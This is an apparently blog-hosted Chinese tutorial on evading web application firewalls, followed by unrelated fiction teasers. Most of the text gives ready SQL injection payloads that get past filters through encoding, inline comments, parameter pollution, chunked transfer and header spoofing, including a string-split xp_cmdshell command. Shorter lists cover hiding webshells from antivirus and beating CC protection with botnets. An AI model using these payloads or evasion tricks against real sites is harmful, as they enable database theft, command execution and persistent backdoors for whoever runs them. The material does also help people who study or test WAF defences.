waf绕过方法

waf简介:

网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

以下都是用安全狗3.0测试的奥。(很多4.0都已经绕不过去了,重在学习思路)

1、白名单绕过

(注:现在基本都是自定义白名单,不是默认的啦)

360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

可以改为:

www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user

或者

www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user

详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576

2、大小写绕过

我这里虽然被拦截了但是有的waf是可以绕过的。

3、双写绕过注入

将and双写为anandd

4、编码绕过注入

用bp对and进行两次编码。(因为服务器会自动对URL进行一次URL解码,所以需要把关键字编码两次)

5、内联注释绕过注入

将id=1 and 1=1 写为  id=1/*!and*/1=1  (这种方式安全狗最新版本已经过滤了,但是对很多waf还是有用的)


6、修改请求方式绕过

过滤了get但是没有过滤post、cookie。waf默认是关闭的,

7、复参数绕过  (&id=)

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。

8、特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

特殊字符有:mysql:%0a/**/可以绕过最新版本WAF      sqlerver: /**/

/*|%23--%23|*/ 

/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。

9、特殊字符拼接  (+)

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10、利用WAF本身的功能绕过

 把"*"替换为空

例:uni*on+sel*ect+1,2,3,4....(这种方法不适用于安全狗)

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过‍‍‍       http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

11、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

version()| @@version 

concat() | concat_ws()

group_concat() | concat_ws()

= | like

1| MOD(8,7)


12、以上方法组合绕过  

(如果user函数都能绕过去,那基本通杀,因为对user()这样的函数保护的最好)

1、 替换法+URL编码

例:先判断注入点,把and为&&,urlencode后为%26%26      

http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2

2、注释+替换法

3、内联注释+替换法

1.利用()代替空格

2.利用mysql特性/*!*/执行语句

3.利用/**/混淆代码

我给出的注入语句是:

union/*%00*//*!50010select*/(database/**/()),(user/**/())%23   (50010代表数据库版本)

这里要注意的几点是:

1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的

2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码

3.数据或者函数周围可以无限嵌套()

4.利用好%00  user())

最新过waf方法:http://192.168.60.68/sql.php?id=1/*!union*//*%!aa*//*!select*/1,2,3,4

13、分块传输 (很重要,必须掌握)(4.0也可过)

过post方法 (bp可直接把get方式改为post)

添加http头信息

Transfer-Encoding: Chunked

(4 6 7 2 8 3 这些后面也可以直接加  ;hfdj   来 干扰 也不会影响)

还可以用此方法也可以过(注意观察d)(有的时候可以)


14、云waf直接找真实IP

15、waf工具绕过  (绕云waf很有效)

(这个方法也是伪造IP头。X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

工具:bp里边插件扩展里bypass waf 。

16、路径随意跳转法 可以使用../来完成

XSS过狗

(其他的语句可进行URL编码)

因为老是弹窗,所以截图,还有很多看突破安全狗文档。

二、网马免杀

1、把马创建成函数,后面只要调用函数就行

2、变量覆盖

3、组合法(怎么组合s)

4、在线加密

5、文件包含

防盗链绕过:修改Referer头。

防cc绕过:可以控制大量的肉鸡同时访问

扩展笔记:(代码加密两个原因:1、绕过过滤waf啥的,2、留后门)

php:mumaasp.com  这个网站有很多后门木马,但是一旦用了会给网站的人留后门,别用啊。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,875评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,569评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,475评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,459评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,537评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,563评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,580评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,326评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,773评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,086评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,252评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,921评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,566评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,190评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,435评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,129评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,125评论 2 352